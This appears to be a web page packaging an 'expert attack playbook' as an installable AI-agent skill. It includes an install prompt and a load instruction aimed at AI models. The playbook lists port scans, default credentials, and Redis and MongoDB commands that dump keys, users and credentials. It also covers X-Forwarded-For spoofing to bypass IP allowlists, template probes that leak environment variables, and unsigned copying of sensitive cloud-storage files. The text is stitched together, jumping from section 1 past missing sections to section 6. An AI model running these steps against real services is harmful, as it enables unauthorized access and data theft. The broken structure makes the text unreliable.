Common exposed service and unauthorized access triage covering admin panels, databases, caches, message queues, cloud consoles, dev tools, reverse proxy mistakes, Nginx off-by-slash, X-Forwarded-For trust, Java middleware exposure, and cloud storage misconfigurations.
Installation
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Common exposed service and unauthorized access triage covering admin panels, databases, caches, message queues, cloud consoles, dev tools, reverse proxy mistakes, Nginx off-by-slash, X-Forwarded-For trust, Java middleware exposure, and cloud storage misconfigurations.
SKILL: Unauthorized Access — Common Services — Expert Attack Playbook
AI LOAD INSTRUCTION: Exposed service triage covers databases (Redis, MongoDB, MySQL, PostgreSQL, Elasticsearch), caches (Memcached), message queues (RabbitMQ, Kafka), admin panels (Jenkins, Grafana, Kibana, phpMyAdmin, Tomcat Manager), Java middleware (WebLogic, JBoss), reverse proxy mistakes (Nginx off-by-slash, X-Forwarded-For), and cloud storage (S3, GCS, Azure Blob). All testing must be authorized and prefer read-only proof of access.
QUICK START
Core Rule
Use only in authorized testing. Prefer read-only proof of access (read config, enumerate users). Do not modify data, delete records, or execute destructive commands.
First-pass service discovery
# Quick port scan for common services:
nmap -sV -p 22,80,443,1433,1521,2181,2375,3000,3306,4443,5000,5432,5601,6379,6443,8080,8443,8888,9000,9090,9200,9300,11211,15672,27017,50070 TARGET
High-value service checklist
Service
Port(s)
What to Check
Redis
6379
Unauth access, CONFIG GET, INFO
MongoDB
27017
Unauth access, show dbs
Elasticsearch
9200
/_cat/indices, /_search
MySQL
3306
Default/root creds, empty password
PostgreSQL
5432
Default/postgres creds
Jenkins
8080, 8443
Unauth /script, /configure
Grafana
3000
Default admin:admin
Kibana
5601
Unauth dashboard access
phpMyAdmin
80, 443
Default root, no password
Tomcat Manager
8080
Default tomcat:tomcat
WebLogic
7001
Default weblogic:weblogic
RabbitMQ
15672
Default guest:guest
Memcached
11211
stats, get commands
1. DATABASE SERVICES
Redis (6379)
# Connect:
redis-cli -h TARGET
# Unauth check:
INFO
CONFIG GET *
SELECT 1
KEYS *
# Data extraction:
GET secret_key
LRANGE session_list 0 -1
HGETALL users
MongoDB (27017)
# Connect:
mongo --host TARGET
# Unauth check:
show dbs
use admin
db.users.find()
db.system.users.find()
# If application trusts X-Forwarded-For for IP-based access control:
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 10.0.0.1
X-Real-IP: 127.0.0.1
# May bypass IP whitelist for admin panels
Caddy Template Exposure
# Check for Caddy template rendering:
{{ .Env }}
{{ .Config }}
# May expose environment variables and configuration
6. CLOUD SERVICE EXPOSURE
AWS S3
# Check public access:
aws s3 ls s3://bucket-name --no-sign-request
aws s3 cp s3://bucket-name/sensitive-file . --no-sign-request
GCP Cloud Storage
gsutil ls gs://bucket-name/
gsutil cp gs://bucket-name/sensitive-file .
Azure Blob Storage
az storage blob list --container-name container --account-name account